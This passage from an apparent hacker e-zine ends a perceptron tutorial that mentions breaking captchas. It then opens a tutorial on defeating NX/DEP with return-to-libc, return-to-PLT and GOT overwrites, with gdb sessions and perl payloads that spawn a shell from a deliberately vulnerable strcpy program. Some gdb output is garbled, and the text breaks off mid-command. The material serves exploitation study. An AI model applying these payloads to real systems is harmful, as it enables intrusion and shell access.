Y1: -1 * -0.05 + 0 * -0.02 + 0 * 0.02 = 0.05
The neuron fired when it shouldn't have, so the weights need to be modified.
W0 = W0 + N ( 0 - 1 ) * -1 = -0.55
W1 = W1 + N ( 0 - 1 ) * 0 = -0.03125
W2 = W2 + N ( 0 - 1 ) * 0 = 0.03125
Ok, after fixing the weights for this input, we need to test the next input.
X1 = 1 and X2 = 0
Y1: -1 * -0.55 + 1 * -0.03125 + 0 * 0.03125 = 0.51875
This fired when it was supposed to, so the weights do not need to be adjusted.
X1 = 0 and X2 = 1
Y1: -1 * -0.55 + 0 * -0.03125 + 1 * 0.03125 = 0.58125
The neuron fired when it should have, so the weights do not need to be adjusted.
X1 = 1 and X2 = 1
Y1: -1 * -0.55 + 1 * -0.03125 + 1 * 0.03125 = 0.55
Again, this neuron fired when it should have, so no weight changes are needed. Now, the process is
complete... for this iteration. We have to continue doing this until the network stabilizes and this
happens when all the outputs are equal to the targets and the weights stop moving around. This will
take 4-5 iterations for this particular example.
Eventually, the weights will settle down and the perceptron will have learned this function.
But, how does this work, exactly? It works by dividing the set of solutions into two groups, such
that if we graph it we can draw a line between the points.
*'s mean the perceptron fired.
+'s mean the perceptron did not fire.
1|* *
|
|
|
|
|+___________*
0 1
Looking at this graph, it is easy to see that there is a line that divides the points, making it
look like the following:
1|* *
\
|\
| \
| \
|+__\________*
0 \ 1
As the graph shows, the line divides them with all the *'s on one side and all the +'s on the other.
Now, where did this line come from? It came from the weights, which in this example are the
coefficients to the line function:
aX + bY = C
There is a lengthy process to prove this through a few vector calculations and using the inner
product of two vectors, but the basic idea of this is that there exists a line, plane, or hyperplane
through the set of points that separates the points into two distinct sets.
Planes and hyperplanes? Yes, these are the solutions for when there are more than two inputs into
the perceptron. An example is found at the end of the article.
So, a problem that can be solved by a perceptron has to have the following properties:
1: Linearly separable via a line, plane, or hyperplane.
2: Responds to a firing or no firing, thus a yes or no question essentially.
3: Grouped into distinct classes.
Let's look at the following example of something that is not linearly separable by a line.
Logical function XOR:
_X1_|_X2_|_Y1_
0 | 0 | 0
1 | 0 | 1
0 | 1 | 1
1 | 1 | 0
The Graph of XOR:
1|* +
|
|
|
|
|+___________*
0 1
Looking at the truth table doesn't shed any light on whether this is linearly separable or not, but
looking at the graph shows that there is no line such that the +'s and *'s are in separate
partitions. Thus, XOR cannot be solved like we did OR; it must be put into a higher dimension. We
will use 3D to do that.
We will add another bit of information to separate the two groups, *'s and +'s, so that our
perceptron can solve it.
Let's look over at the JavaScript and HTML page to help do this for us.
When first loading this page, it will have the defaults for the OR function we worked out earlier.
On this page, the number of Iterations and Learning Rate may be changed, and these various options
can be tested by pressing the "start" button. But, what we want to focus on is the in the Code text
area.
The default looks like the following:
var inputs =
[
[ 0, 0 ],
[ 0, 1 ],
[ 1, 0 ],
[ 1, 1 ]
];
var targets =
[
0,
1,
1,
1
];
var dimensions = 2;
Notice that they are arrays and 'input' is a 2D array. The length of 'inputs' must be equal to that
of 'targets', and 'dimensions' must be equal to the length of each sub-array of 'inputs'. This is so
that the code can make the weights vector correctly. Now, we need to make the change to the code
section so that we can get our perceptron to learn the XOR logical operation.
var inputs =
[
[ 0, 0, 1 ],
[ 0, 1, 0 ],
[ 1, 0, 0 ],
[ 1, 1, 0 ]
];
First, we need to change the inputs to be in a 3D space. We have lifted up the first input so that
it will not be in the same plane as the other inputs. This single change is all that is needed to
make the XOR learnable.
The targets vector is changed to the following:
var targets =
[
0,
1,
1,
0
];
This is to reflect how the XOR operation works. And, finally the number of dimensions needs to be
changed to 3.
var dimensions = 3;
Now, change the number of iterations to 30, leave the Learning Rate at the default 0.25, and click
start.
The perceptron should be able to solve the problem. If it did not, hit start again and scroll
through the output textarea to see if it has solved it. In the 'weights' textarea are the various
weight values that are used during the learning process. An exercise would be to look at the weights
as the perceptron tries to learn the XOR using a 2D input matrix.
The graph for this looks like the following:
(0,0,1)|+
|
|
|
(0,0,0)|__________________*(0,1,0)
/
/
/
/
(1,0,0)*/
+(1,1,0)
It's somewhat difficult to reproduce a 3d plane in ASCII, so just imagine one going through the +'s
and *'s. The same idea before applies here; the perceptron is looking to solve the equation of the
plane that separates the two sets. This can be expanded further, but even ASCII lacks the ability to
draw in 4D.
So, how is this a process of learning? The process detailed above is a process of a single
perceptron, neuron, to learn how to solve a linearly separable set of points. It has gained the
ability to generalize a solution to a simple problem and is able to accurately give an answer to all
of its inputs. But, we have simply given it all of the possible outcomes and trained our perceptron
on the actual data. In practice, this is not possible.
What happens now is that to learn against bigger sets of data, a process of training must be
developed. The proper way to train a perceptron or a neural network in an assisted manner is to feed
it half of the data then check against the other half of the data. Using the perceptron that is in
the JavaScript, we can do just that using provided data for our use.
Let's look at the following data collected from the Pima Indian's dataset:
var inputs = [
],
[4,110,92,0,0,37.6,0.191,30,0],
[10,168,74,0,0,38.0,0.537,34,1],
[10,139,80,0,0,27.1,1.441,57,0],
[1,189,60,23,846,30.1,0.398,59,1],
[5,166,72,19,175,25.8,0.587,51,1],
[7,100,0,0,0,30.0,0.484,32,1],
[0,118,84,47,230,45.8,0.551,31,1],
[7,107,74,0,0,29.6,0.254,31,1],
[1,103,30,38,83,43.3,0.183,33,0],
[1,115,70,30,96,34.6,0.529,32,1],
[3,126,88,41,235,39.3,0.704,27,0],
[8,99,84,0,0,35.4,0.388,50,0],
[7,196,90,0,0,39.8,0.451,41,1],
[9,119,80,35,0,29.0,0.263,29,1],
[11,143,94,33,146,36.6,0.254,51,1],
[10,125,70,26,115,31.1,0.205,41,1],
[7,147,76,0,0,39.4,0.257,43,1],
[1,97,66,15,140,23.2,0.487,22,0],
[13,145,82,19,110,22.2,0.245,57,0],
[5,117,92,0,0,34.1,0.337,38,0],
[5,109,75,26,0,36.0,0.546,60,0],
[3,158,76,36,245,31.6,0.851,28,1],
[3,88,58,11,54,24.8,0.267,22,0],
[6,92,92,0,0,19.9,0.188,28,0],
[10,122,78,31,0,27.6,0.512,45,0],
[4,103,60,33,192,24.0,0.966,33,0],
[11,138,76,0,0,33.2,0.420,35,0],
[9,102,76,37,0,32.9,0.665,46,1],
[2,90,68,42,0,38.2,0.503,27,1],
[4,111,72,47,207,37.1,1.390,56,1],
[3,180,64,25,70,34.0,0.271,26,0],
[7,133,84,0,0,40.2,0.696,37,0],
[7,106,92,18,0,22.7,0.235,48,0],
[9,171,110,24,240,45.4,0.721,54,1],
[7,159,64,0,0,27.4,0.294,40,0],
[0,180,66,39,0,42.0,1.893,25,1],
[1,146,56,0,0,29.7,0.564,29,0]
];
var targets = [];
for( var i = 0; i < inputs.length; i++ )
{
targets.push( inputs[i].pop() );
}
var dimensions = 9;
This dataset represents a subset of Pima Indian population and if each individual has diabetes (the
last column, which is popped off and put into 'targets'). If this code is placed into the code
textarea, the accuracy of the perceptron correctly telling if someone has diabetes or not is almost
non-existent. Unlike the above examples, this data set cannot be graphed and is a good example of
real world data. From this, you cannot train on all of the data, but rather you must train on a
subset of the data and then perform a check on the rest of the data, thus more accurately gauging
the perceptron's ability to learn and generalize its solution.
How do we do the training on the subset of the data? On the HTML page, there is a check box that,
when checked, will simply split the data in half and train on one half of the data and test with the
other half. This is quite useful and can gauge how well the perceptron is able to generalize its
solution to the set of data that has been presented.
This method can help verify how well the perceptron has learned something. Another method to help
improve the learning ability of the perceptron is to normalize the data or, in essence, take out the
data's variance which will allow the perceptron to more easily learn the problem.
You, the reader, has been hoping all this time to learn the answer to the initial question of this
article - how does Skynet work? However, all you got instead was some garbled math and a web page.
But, the principle behind this method is how Skynet could learn, classify dangerous enemies, and
ultimately kill all humans.
Some other applications for this perceptron and neural networks are:
- OCR to break captchas.
- Giving a user recommend items.
- Predicting future events based on past ones.
- Fitting a line, plane, or hyperplane to a set of data.
- Many more.
Enjoy, Elchupathingy
[==================================================================================================]
-=[ 0x06 Defeating NX/DEP With return-to-libc and ROP
-=[ Author: storm
-=[ Website:
Table of Contents
I. Introduction
II. Background
III. The Problem
IV. Return-to-libc
V. Return-to-PLT
VI. Return-to-PLT + GOT Overwrite
VII. Return-to-libc by neg ROP
VIII. References and Further Reading
I. Introduction
===============
The return-to-libc attack, commonly abbreviated as ret2libc, is a method of exploiting memory
corruption vulnerabilities on systems enabling non-executable (NX) stacks. First publicly discussed
by the security researcher Solar Designer in the late 90s, ret2libc attacks are still relevant in
the modern realm of exploitation, but have mostly made way for Return-Oriented Programming (ROP),
which is a generalization of the ret2libc technique.
It should be noted that all technical examples in this paper were performed on a Fedora Core 14
machine. While many of these techniques are universal, some OSes may employ certain memory
protections by default that break the examples. For instance, stack canaries are enabled by default
on Ubuntu systems and should be disabled with the gcc -fno-stack-protector-all flag at compile-time.
II. Background
==============
Before proceeding, the reader should be familiar with traditional stack-based buffer overflows. For
the sake of comprehension, a short review will be provided. It should be noted that in this simple
example, memory protections such as DEP, ASLR, and stack canaries are disabled.
Given the following source code (from):
#include <string.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
}
int main (int argc, char **argv)
{
foo(argv[1]);
}
We can see that argv[1] is passed as an argument to the function foo(). A buffer of 12 bytes is
allocated and given the name 'c'. A call to strcpy() copies the string from the buffer 'bar'
(formerly argv[1]) into 'c'. The problem lies within the fact that no bounds check is performed on
the buffer 'bar' before being copied into 'c', allowing any string greater than 12 bytes long
(trailing null byte included) to be written past the 12 bytes allocated. By allowing this, we have
the potential to overwrite data on the stack critical to the program's behavior.
Specifically, a pointer saved on the stack named the "return address" is of particular interest to
us. This pointer is present on the stack due to the way function calls are performed within
programs. Let's step our way through foo() in the program above. Here, we set a breakpoint just
before the call is initiated:
Breakpoint 1, 0x080483f2 in main ()
(gdb) x/5i $eip
=> 0x80483f2 <main+20>: call 0x80483c4 <foo>
0x80483f7 <main+25>: leave
0x80483f8 <main+26>: ret
0x80483f9: nop
0x80483fa: nop
(gdb) x/16x $esp
0xbfffefb0: 0xbffff265 0x08048310 0x0804840b 0x00381ff4
0xbfffefc0: 0x08048400 0x00000000 0xbffff048 0x00212e36
0xbfffefd0: 0x00000002 0xbffff074 0xbffff080 0xb7fff478
0xbfffefe0: 0x00110414 0xffffffff 0x001f8fbc 0x0804822c
(gdb)
We start off by looking at the state of the stack before the function call. Continuing, let's take
this step-by-step.
(gdb) si
0x080483c4 in foo ()
(gdb) x/16x $esp
0xbfffefac: 0x080483f7 0xbffff265 0x08048310 0x0804840b
0xbfffefbc: 0x00381ff4 0x08048400 0x00000000 0xbffff048
0xbfffefcc: 0x00212e36 0x00000002 0xbffff074 0xbffff080
0xbfffefdc: 0xb7fff478 0x00110414 0xffffffff 0x001f8fbc
For those unfamiliar with gdb, note that the 'si' command is shorthand for 'step instruction', which
allows us to walk through the assembly code instruction-by-instruction. We see that by entering
foo(), the pointer 0x080483f7 is pushed onto the stack. Looking above, we notice that this is the
address of the next instruction within main(). This pointer is the return address and will later be
popped back into %eip in the epilogue of foo(). Continuing:
(gdb) x/10i $eip
=> 0x80483c4 <foo>: push %ebp ; Push the frame pointer onto the stack
0x80483c5 <foo+1>: mov %esp,%ebp ; Address of saved fp becomes new %ebp
0x80483c7 <foo+3>: sub $0x28,%esp ; Allocate space for local variables
0x80483ca <foo+6>: mov 0x8(%ebp),%eax ; Copy pointer to 'bar' to %eax
0x80483cd <foo+9>: mov %eax,0x4(%esp) ; Set up 'bar' as 2nd arg to strcpy()
0x80483d1 <foo+13>: lea -0x14(%ebp),%eax ; Copy pointer to 'c' to %eax
0x80483d4 <foo+16>: mov %eax,(%esp) ; Set up 'c' as 1st arg to strcpy()
0x80483d7 <foo+19>: call 0x80482f4 <strcpy@plt> ; Perform library call to strcpy()
0x80483dc <foo+24>: leave ; Copy %ebp to %esp, pop fp to %ebp
0x80483dd <foo+25>: ret ; Pop return address to %eip
(gdb)
By manipulating the return address stored on the stack before the function epilogue, we directly
influence the value of %eip, redirecting execution of the program to anywhere we choose.
Setting a breakpoint for 0x80483d7, let's look at the stack just before the strcpy() call:
Breakpoint 2, 0x080483d7 in foo ()
(gdb) x/16x $esp
0xbfffef80: 0xbfffef94 0xbffff265 0xbfffef98 0x080482c0
0xbfffef90: 0x00000000 0x08049644 0xbfffefc8 0x08048419
0xbfffefa0: 0xb7fff478 0x00382cc0 0xbfffefc8 0x080483f7
0xbfffefb0: 0xbffff265 0x08048310 0x0804840b 0x00381ff4
(gdb)
We see that strcpy() is being given two pointers as first and second arguments, a pointer to the
buffer 'c', and a pointer to the buffer 'bar', respectively. We also see our saved frame pointer
and return address located lower on the stack at 0xbfffefa8 and 0xbfffefac, respectively. By
writing 0xbfffefb0 - 0xbfffef94 = 0x1c = 28 bytes to 'c', we have full EIP overwrite and control
over the program:
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break *0x80483dd
Breakpoint 3 at 0x80483dd
(gdb) run `perl -e'print "A"x28'`
Starting program: /home/storm/Desktop/audit/example `perl -e'print "A"x28'`
Breakpoint 3, 0x080483dd in foo ()
(gdb) x/i $eip
=> 0x80483dd <foo+25>: ret
(gdb) x/x $esp
0xbfffef8c: 0x41414141
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080483dd in foo ()
(gdb)
By stashing compiled code on the stack itself, we redirect execution to the location of our
"shellcode" and drop a shell:
(gdb) run x41414141xb7fff478 0x00110414 0xffffffff 0x001f8fbc
We see our shellcode is located at 0xbfffef70, so let's now overwrite the return address with this,
ordering the bytes in reverse to account for little endianness:
(gdb) run xbfffef70x00111478 0x00110414 0xffffffff 0x001f8fbc
(gdb) c
Continuing.
process 22006 is executing new program: /bin/bash
sh-4.1$
III. The Problem
================
Modern hardware and operating systems support a feature called NX bit/DEP, which flags regions of
memory as non-executable. As a security precaution, compilers now mark the stack non-executable to
prevent the execution of shellcode in buffer overflow attacks. Thus, overwriting the return address
with the address of our shellcode on the stack results in a segfault.
To exemplify this point, we can see specifically which regions of memory have what permissions using
the following program:
#include <stdio.h>
int main (int argc, char **argv)
{
FILE *fp = fopen("/proc/self/maps", "r");
char line[1024];
while(fgets(line, sizeof(line), fp) != NULL)
{
printf("%s", line);
}
fclose(fp);
return 0;
}
By running this program, we print the contents of /proc/self/maps. We see that by default, our
program's stack does not possess +x permissions:
[storm@Dysthymia audit]$ ./stacky
001db000-001f8000 r-xp 00000000 fd:01 19335 /lib/ld-2.13.so
001f8000-001f9000 r--p 0001c000 fd:01 19335 /lib/ld-2.13.so
001f9000-001fa000 rw-p--p 00183000 fd:01 24337 /lib/libc-2.13.so
00382000-00383000 rw-p 00185000 fd:01 24337 /lib/libc-2.13.so
00383000-00386000 rw-p 00000000 00:00 0
00d21000-00d22000 r-xp 00000000 00:00 0 [vdso]
08048000-08049000 r-xp 00000000 fd:03 339055 /home/storm/Desktop/audit/stacky
08049000-0804a000 rw-p 00000000 fd:03 339055 /home/storm/Desktop/audit/stacky
0990b000-0992c000 rw-p 00000000 00:00 0 [heap]
b7893000-b7894000 rw-p 00000000 00:00 0
b78ae000-b78b0000 rw-p 00000000 00:00 0
bfcf5000-bfd16000 rw-p 00000000 00:00 0 [stack]
[storm@Dysthymia audit]$
We can manually flip the executable stack flag in our program's ELF header, disabling this memory
protection for the program:
[storm@Dysthymia audit]$ execstack -s ./stacky
[storm@Dysthymia audit]$ ./stacky
00110000-0011100034f000-00350000 rwxp 00000000 00:00 0
00350000-004d3000 r-xp 00000000 fd:01 24337 /lib/libc-2.13.so
004d3000-004d4000 ---p 00183000 fd:01 24337 /lib/libc-2.13.so
004d4000-004d6000 r-xp 00183000 fd:01 24337 /lib/libc-2.13.so
004d6000-004d7000 rwxp 00185000 fd:01 24337 /lib/libc-2.13.so
004d7000-004da000 rwxp 00000000 00:00 0
00673000-00674000 r-xp 00000000 00:00 0 [vdso]
009d5000-009d6000 rwxp 00000000 00:00 0
08048000-08049000 r-xp 00000000 fd:03 339088 /home/storm/Desktop/audit/stacky
08049000-0804a000 rwxp 00000000 fd:03 339088 /home/storm/Desktop/audit/stacky
08adf000-08b00000 rwxp 00000000 00:00 0 [heap]
bfa61000-bfa82000 rwxp 00000000 00:00 0 [stack]
[storm@Dysthymia audit]$
You may have noticed something odd about the output this program. Comparing the output of the two
separate times running the program, we also notice that the addresses of loaded libraries and
certain other areas of memory changed. This is due to a memory protection technique called Address
Space Layout Randomization (ASLR). By randomizing the location of data in a process's address
space, exploit writers cannot reliably predict where certain key functions or code are located in
memory, turning reliable exploits into improbable gambles. An area of research is devoted to
exploiting applications enabled with ASLR, but that is much beyond the scope of this paper.
For the sake of taking one step at a time, let's disable ASLR for our examples:
[storm@Dysthymia audit]$ su -
[root@Dysthymia ~]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@Dysthymia ~]# logout
]$
Much better.
Getting back to the original problem, the question is, how can an attacker successfully and reliably
exploit a simple stack-based buffer overflow when the stack is flagged non-executable? With
ret2libc, of course!
IV. Return-to-libc
==================
The premise of ret2libc is actually quite simple. Thinking back to how a standard buffer overflow
works, we recognize that our ultimate goal is to return into code that does our evil bidding, most
likely dropping a bash prompt or spawning a reverse shell. Knowing that we are unable to provide
our own code to return into (thanks to non-executable stack and heap), we must take a step back and
think about our options.
Our guidelines are as follows:
- Code must be (obviously) present in the process's address space at the time of exploitation
- Code must be flagged executable
- Code must be located at a predictable address
- Code must perform an action that is beneficial to our goals (spawning a shell)
Where will we ever find code that satisfies all of our needs?
Oh, right. libc, the C standard library implementation on Linux.
Let's let Wikipedia be our guide:
The C standard library consists of a set of sections of the ANSI C standard in the
programming language C. They describe a collection of headers and library routines
used to implement common operations such as input/output and string handling.
Unix-like systems typically have a C library in shared library form.
-
To clarify and expand on the definition, libc is a shared library present on nearly all Linux
systems that is, by default, linked against every program compiled with gcc. libc is an
implementation of the C standard, providing the code that performs common, rudimentary operations
such as printing strings and allocating memory. Every time you make a function call to printf()
or malloc() from within a C program, you are most likely running code in libc.
Let's go down our checklist. libc is certainly present in the address space of almost every process
running on Linux. The code is flagged executable, because it is legitimate code used by the program
itself. By disabling ASLR, we are ensuring that the library will be loaded at the same base address
every time, allowing us to reliably predict where in memory it will be located. Since libc provides
an exceptionally wide array of functions, there is a good chance we can abuse one of them to gain
access to the system.
Let's start building a template for our exploit:
AAAAAAAAAAAAAAAAAAAAAAAA [ libc function ] [ return-to ] [ arg1 ] [ arg2 ] ...
^ ^ | |
| | | |
overflow ("A"x24) --------------------------------------
Obviously, we want to return into a libc function that lets us execute arbitrary code. A good
candidate is system(), although there are a number of methods using different functions.
[storm@Dysthymia audit]$ gdb -q ./example
Reading symbols from /home/storm/Desktop/audit/example...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80483e1
(gdb) run
Starting program: /home/storm/Desktop/audit/example
Breakpoint 1, 0x080483e1 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x235eb0 <__libc_system>
(gdb)
Looking at the output of gdb, we see that system() resides in memory at 0x00235eb0, so let's add
that to our exploit.
AAAAAAAAAAAAAAAAAAAAAAAA [ \xb0\x5e\x23\x00 ] [ return-to ] [ arg1 ] [ arg2 ] ...
^ ^ | |
| | | |
overflow ("A"x24) --------------------------------------
&system
Now we need to provide an argument to system(), which is a pointer to a null-terminated string of
the command being executed. The simple solution is just to give it a pointer to "/bin/bash", which
we can do by either a) writing it into memory after the exploit string itself, or b) re-using an
already existing instance of the string in memory. Let's be lazy and choose the latter.
(gdb) find $esp, 0xbfffffff, "/bin/bash"
0xbffff310
1 pattern found.
(gdb) x/s 0xbffff310
0xbffff310: "/bin/bash"
(gdb) x/s 0xbffff30a
0xbffff30a: "SHELL=/bin/bash"
(gdb)
Conveniently, we can leverage the SHELL environment variable here. Now that we have a pointer to
our command string, let's update the exploit.
AAAAAAAAAAAAAAAAAAAAAAAA [ \xb0\x5e\x23\x00 ] [ return-to ] [ \x10\xf3\xff\xbf ]
^ ^ |
| | |
overflow ("A"x24) ------------------------------------
&system arg1: "/bin/bash"
The return-to pointer actually serves as the return address for our libc function. This by nature
isn't necessary to set for the exploit to work, but it's common to return to exit() afterwards to
end the process cleanly and prevent any alerts due to a crashed process. These alerts may be viewed
by monitoring the tail of /var/log/messages (on most distributions).
(gdb) p exit
$2 = {void (int)} 0x22ac00 <exit>
(gdb)
For the sake of adding more unnecessary arrows to the diagram, our finished exploit now looks like:
&exit
--------------------
| \/
AAAAAAAAAAAAAAAAAAAAAAAA [ \xb0\x5e\x23\x00 ] [ \x00\xac\x22\x00 ] [ \x10\xf3\xff\xbf ]
^ ^ |
| | |
overflow ("A"x24) ----------------------------------------------
&system arg1: "/bin/bash"
Yeah, cool. Too bad it doesn't work.
As you probably noticed, our exploit contains null bytes everywhere. This is a huge problem, since
we're using strcpy() to copy our exploit string and it will stop as soon as the first null byte is
encountered.
There are actually two factors contributing to having null bytes in this exploit. The first, most
prominent factor is a memory protection called ASCII-Armor, which maps important libraries to
addresses that contain a null byte. As observed, the addresses of system() and exit(), as well as
every other function in libc, started with 0x00.
The second factor is due to there coincidentally being a null byte present elsewhere in the address
of exit(). In addition to ASCII-Armor, the least significant byte of the address is also 0x00.
This is not an especially huge issue, however, since we can simply jump to an offset of exit() that
doesn't alter its actual functionality. Let's take a look:
(gdb) x/10i exit
0x22ac00 <exit>: push %ebp
0x22ac01 <exit+1>: mov %esp,%ebp
0x22ac03 <exit+3>: push %edi
0x22ac04 <exit+4>: push %esi
0x22ac05 <exit+5>: push %ebx
0x22ac06 <exit+6>: call 0x212c6f <__i686.get_pc_thunk.bx>
0x22ac0b <exit+11>: add $0x1573e9,%ebx
0x22ac11 <exit+17>: sub $0x2c,%esp
0x22ac14 <exit+20>: mov 0x8(%ebp),%edi
0x22ac17 <exit+23>: mov 0x330(%ebx),%esi
(gdb)
0x0022ac01 looks pretty good. The only instruction we're skipping is push %ebp, which won't matter
anyways since exit() doesn't return, thus having no need to unwind the stack.
Note that should a positive offset (exit+X) not exist, we can instead search lower in memory and
find a potential negative offset (exit-X). We can do this because the function adjacent to exit()
doesn't terminate with a ret instruction, so jumping into it won't return but instead continue
executing into the next function, which is conveniently exit().
(gdb) x/3i exit-1
0x22abff: add %dl,-0x77(%ebp)
0x22ac02 <exit+2>: in $0x57,%eax
0x22ac04 <exit+4>: push %esi
(gdb)
Oop, looks like an offset of -1 will cause instructions in exit() to be interpreted incorrectly.
Remember that everything in memory is simply data until it is interpreted and given meaning, so by
jumping in the middle of a multi-byte opcode, we are literally interpreting it to be a different
instruction. If this new instruction is smaller than the rest of the original one, then
instructions after it will be affected and interpreted differently also. Let's try an offset of -2:
(gdb) x/3i exit-2
0x22abfe: jbe 0x22ac00 <exit>
0x22ac00 <exit>: push %ebp
0x22ac01 <exit+1>: mov %esp,%ebp
(gdb)
At -2, the exit() function is interpreted correctly, but the two bytes before it are interpreted to
be a conditional jump instruction. This introduces major possibility for the flow of execution to
be thrown off, so let's disregard this option and check offset -3:
(gdb) x/3i exit-3
0x22abfd: lea 0x0(%esi),%esi
0x22ac00 <exit>: push %ebp
0x22ac01 <exit+1>: mov %esp,%ebp
(gdb)
An offset of -3 looks like a good option. The three bytes before exit() are interpreted to be a
harmless lea (load effective address) instruction which won't affect the interpretation or proper
functionality of exit(). So, if for some reason 0x0022ac01 was not a viable option (say, input
filtering), we could substitute it with 0x0022abfd with no consequence.
We still have to deal with the problem of ASCII-Armor, however, so let's move on to talk about a
technique called return-to-PLT.
V. Return-to-PLT
================
The PLT, formally known as the Procedure Linkage Table, is a feature of ELF binaries that assists
with the dynamic linking process. In order to understand how to abuse this feature, we need to
first know a bit about what's happening behind the scenes.
By nature, ELF shared libraries are compiled as position-independent code (PIC), which means that
they function and execute properly regardless of location in memory. This is fundamentally
important to dynamic linking, because if all shared libraries were compiled with a static load
address, a situation would inevitably arise where two libraries shared the same load address or
overlapped each other in memory. By compiling shared libraries as PIC, the ELF linker decides at
runtime which libraries to load and where in memory to map them to.
In order for the running program to find symbols within these libraries, it references a data
structure called the Global Offset Table (GOT), which exists as a table of pointers to within shared
libraries. For Windows exploit developers, the GOT is essentially the same as the Import Address
Table (IAT).
When a function is called for the first time, a small piece of code is executed by the
PLT to resolve the function's actual address. The GOT is patched with this address so that future
calls to the library function's PLT stub directly reference the resolved address, resulting in
greater efficiency. This is called lazy binding.
In the realm of exploitation, if the libc function you wish to call is legitimately used by the
program, then it's as simple as calling the function's PLT stub. For instance, if system() is used
elsewhere in the program, then an entry for it will exist in the PLT. Jumping directly to this
address will execute the PLT stub, resolving the real address of the function in libc (or using the
stored one in the GOT) and calling it. By adding a call to system() elsewhere in our test program,
we can observe this situation and take advantage of it.
[storm@Dysthymia audit]$ cat example.c
#include <string.h>
#include <stdlib.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
system("/bin/echo woot");
}
int main (int argc, char **argv)
{
foo(argv[1]);
}
system
0x08048304 system@plt
0x08048314 __libc_start_main
0x08048314 __libc_start_main@plt
0x08048324 strcpy
0x08048324 strcpy@plt
0x08048340 _start
0x08048370 __do_global_dtors_aux
0x080483d0 frame_dummy
0x080483f4 foo
0x0804841a main
0x08048440 __libc_csu_init
0x080484a0 __libc_csu_fini
0x080484a5 __i686.get_pc_thunk.bx
0x080484b0 __do_global_ctors_aux
0x080484dc _fini
(gdb) break main
Breakpoint 1 at 0x804841d
(gdb) run
Starting program: /home/storm/Desktop/audit/example
Breakpoint 1, 0x0804841d in main ()
(gdb) find $esp, 0xbfffffff, "/bin/bash"
0xbffff310
1 pattern found.
(gdb) run `perl -e'print "A"x24 . "\x04\x83\x04\x08" . "XXXX" . "\x10\xf3\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/storm/Desktop/audit/example `perl -e'print "A"x24 . "\x04\x83\x04\x08" .
"XXXX" . "\x10\xf3\xff\xbf"'`
Breakpoint 1, 0x0804841d in main ()
(gdb) c
Continuing.
Detaching after fork from child process 8096.
woot
Detaching after fork from child process 8097.
[storm@Dysthymia audit]$ echo We\'ve got shell.
We've got shell.
[storm@Dysthymia audit]$
VI. Return-to-PLT + Overwrite
=============================
Of course, system() is not always going to be available, and sometimes the functions that are
available to just don't cut it. At this point, we can take it another step further and take
advantage of a different feature of dynamic linking by overwriting entries in the GOT itself.
Let's modify our test program a little more before continuing on, removing the call to system() and
adding a call to printf():
[storm@Dysthymia audit]$ cat example.c
#include <string.h>
#include <stdio.h>
void foo (char *bar)
{
char c[12];
strcpy(c, bar); // no bounds checking...
}
int main (int argc, char **argv)
{
foo(argv[1]);
printf("Your input: %s\n", argv[1]);
}
[storm@Dysthymia audit]$
Let's take a closer look at the PLT stub for printf():
__libc_start_main
0x08048304 __libc_start_main@plt
0x08048314 strcpy
0x08048314 strcpy@plt
0x08048324 printf
0x08048324 printf@plt
0x08048340 _start
0x08048370 __do_global_dtors_aux
0x080483d0 frame_dummy
0x080483f4 foo
0x0804840e main
0x08048450 __libc_csu_init
0x080484b0 __libc_csu_fini
0x080484b5 __i686.get_pc_thunk.bx
0x080484c0 __do_global_ctors_aux
0x080484ec _fini
(gdb) x/3i 0x08048324
0x8048324 <printf@plt>: jmp *0x80496bc
0x804832a <printf@plt+6>: push $0x18
0x804832f <printf@plt+11>: jmp 0x80482e4
(gdb)
This first instruction is interesting. It's dereferencing a pointer to somewhere in the GOT and
then jumping to that value. Let's look back to our program that reads /proc/self/maps:
[storm@Dysthymia audit]$ ./stacky | grep 08049
08048000-08049000 r-xp 00000000 fd:03 263455 /home/storm/Desktop/audit/stacky
08049000-0804a000 rw-p 00000000 fd:03 263455 /home/storm/Desktop/audit/stacky
[storm@Dysthymia audit]$
It looks like the GOT is writable! By chaining together calls to libc, we can write four arbitrary
bytes to 0x80496bc, effectively relocating printf() to an address of our choosing. The next time
printf() is called, our target code will be run instead. As usual, our goal here will be system().
There is really no reason for a pointer to system() to be present anywhere in memory, so we're going
to have to construct it byte-by-byte. Note that while we're using strcpy() for our exploit, any
function that moves bytes may be used, such as memcpy(), strcat(), or sprintf(). Let's build a new
template:
AAAAAAAAAAAAAAAAAAAAAAAA [ strcpy@plt ] [ pop pop ret ] [ GOT_of_printf[0] ] [ system[0] ]
[ strcpy@plt ] [ pop pop ret ] [ GOT_of_printf[1] ] [ system[1] ]
[ strcpy@plt ] [ pop pop ret ] [ GOT_of_printf[2] ] [ system[2] ]
[ strcpy@plt ] [ pop pop ret ] [ GOT_of_printf[3] ] [ system[3] ]
[ printf@plt ] [ any 4 bytes ] [ address of "/bin/bash" ]
Conceptually, the process will first return into strcpy(), moving the first byte of &system into the
first byte of GOT entry for printf() (as well as anything after it up until 0x00 since we're using
strcpy(), but this doesn't really matter). Upon returning from strcpy(), it will then jump into a
pop pop ret gadget, which pops the two arguments of the first strcpy() off the stack and returns
into the second strcpy(), granting us the ability to chain libc calls with two arguments.
Wait, did we say gadget? It's almost like we're writing a ROP exploit or something....
A gadget is essentially a small sequence of instructions that exists in the process's address space
that does something useful for our exploit. By returning into a gadget, we can leverage existing
code to manipulate memory and registers in a predictable way. While gadgets come in many different
forms and can perform many different operations, one thing that always remains constant is that they
are terminated by a ret instruction. In a "true" ROP exploit, our libc chain is replaced instead by
a chain of pointers to gadgets, executing one after another to set the process memory in a specific
state to perform a specific task.
For instance, on Windows 32-bit systems, one of the most common methods of ROP exploitation is to
allocate a new executable heap by returning into VirtualAlloc() or marking an existing heap
executable using VirtualProtect(). Gadgets are then used to copy second-stage shellcode onto the
newly-created heap, ultimately jumping into the heap and executing the shellcode.
In order to find our pop pop ret gadget, we'll use msfelfscan, part of the Metasploit framework. If
developing an exploit on Win32, the mona.py plugin for Immunity Debugger by Corelan Team is one of
the best options for not only discovering potential gadget candidates, but automatically chaining
them into workable ROP chains.
[storm@Dysthymia audit]$ msfelfscan | grep \\-p
